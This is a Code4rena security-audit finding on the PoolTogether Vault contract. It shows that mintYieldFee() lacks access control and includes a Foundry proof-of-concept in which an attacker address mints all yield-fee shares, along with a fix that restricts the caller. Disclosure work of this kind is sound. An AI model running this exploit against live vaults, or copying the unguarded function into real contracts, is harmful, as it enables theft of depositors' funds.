Anyone can mint the `_yieldFeeTotalSupply`

[code423n4]

Lines of code

https://github.com/GenerationSoftware/pt-v5-vault/blob/b1deb5d494c25f885c34c83f014c8a855c5e2749/src/Vault.sol#L394-L402

Vulnerability details

Impact

The current implementation of the Vault allows anyone to call the mintYieldFee() function, hence direct loss of funds. Furthermore, if the vault becomes undercollateralized, there will be no yield left to collateralize it.

Proof of Concept

• The _yieldFeeTotalSupply variable represents the total accrued supply from the yield fee, which serves the purpose of collateralizing the vault if it becomes undercollateralized.

• The _yieldFeeRecipient variable holds the address of the yield fee recipient who receives the fee amount when yield is captured.

_yieldFeeRecipient can withdraw their yield fee through the mintYieldFee() function, and this function is callable by anyone. Here is the current implementation:

  function mintYieldFee(uint256 _shares, address _recipient) external {
    _requireVaultCollateralized();
    if (_shares > _yieldFeeTotalSupply) revert YieldFeeGTAvailable(_shares, _yieldFeeTotalSupply);

    _yieldFeeTotalSupply -= _shares;
    _mint(_recipient, _shares);

    emit MintYieldFee(msg.sender, _recipient, _shares);
  }

As a result, anyone can mint the yield fee, and when the vault becomes undercollateralized, there will be no yield left to collateralize it.

Here is a coded POC to demonstrate the issue:

  function testMintingYieldFee() external {
    _setLiquidationPair();

    vault.setYieldFeePercentage(YIELD_FEE_PERCENTAGE);

    uint256 _amount = 1000e18;

    // The address of the attacker
    address blackhat = makeAddr("blackhat");

    underlyingAsset.mint(address(this), _amount);
    _sponsor(underlyingAsset, vault, _amount, address(this));

    uint256 _yield = 10e18;
    _accrueYield(underlyingAsset, yieldVault, _yield);

    vm.startPrank(alice);

    prizeToken.mint(alice, 1000e18);

    uint256 _liquidatedYield = vault.liquidatableBalanceOf(address(vault));

    (uint256 _alicePrizeTokenBalanceBefore, uint256 _prizeTokenContributed) = _liquidate(
      liquidationRouter,
      liquidationPair,
      prizeToken,
      _liquidatedYield,
      alice
    );

    assertEq(prizeToken.balanceOf(address(prizePool)), _prizeTokenContributed);
    assertEq(prizeToken.balanceOf(alice), _alicePrizeTokenBalanceBefore - _prizeTokenContributed);

    uint256 _yieldFeeShares = _getYieldFeeShares(_liquidatedYield, YIELD_FEE_PERCENTAGE);

    assertEq(vault.balanceOf(alice), _liquidatedYield);
    assertEq(vault.yieldFeeTotalSupply(), _yieldFeeShares);
    assertEq(_yield, _liquidatedYield + _yieldFeeShares);

    assertEq(vault.liquidatableBalanceOf(address(vault)), 0);
    assertEq(vault.availableYieldBalance(), 0);
    assertEq(vault.availableYieldFeeBalance(), 0);

    vm.stopPrank();

    vm.startPrank(blackhat);

    vault.mintYieldFee(_yieldFeeShares, blackhat);
    assertEq(vault.yieldFeeTotalSupply(), 0);
    // The attacker stole all the yield from the vault successfully
    assertEq(vault.balanceOf(blackhat), _yieldFeeShares);

    vm.stopPrank();
  }

Test Result

Test result: ok. 1 passed; 0 failed; finished in 7.89ms

Test Setup

• Add the test to VaultLiquidateTest.sol
• cd vault
• forge test --match-contract VaultLiquidateTest --match-test testMintingYieldFee -vvvv

Tools Used

Manual Review

Recommended Mitigation Steps

We recommend adjusting the function to:

  function mintYieldFee(uint256 _shares, address _recipient) external {
    require(msg.sender == _yieldFeeRecipient, "Only fee recipient can call this");
    _requireVaultCollateralized();
    if (_shares > _yieldFeeTotalSupply) revert YieldFeeGTAvailable(_shares, _yieldFeeTotalSupply);

    _yieldFeeTotalSupply -= _shares;
    _mint(_recipient, _shares);

    emit MintYieldFee(msg.sender, _recipient, _shares);
  }

Assessed type

Access Control

[c4-judge]

Picodes marked the issue as duplicate of #396

[c4-judge]

Picodes marked the issue as satisfactory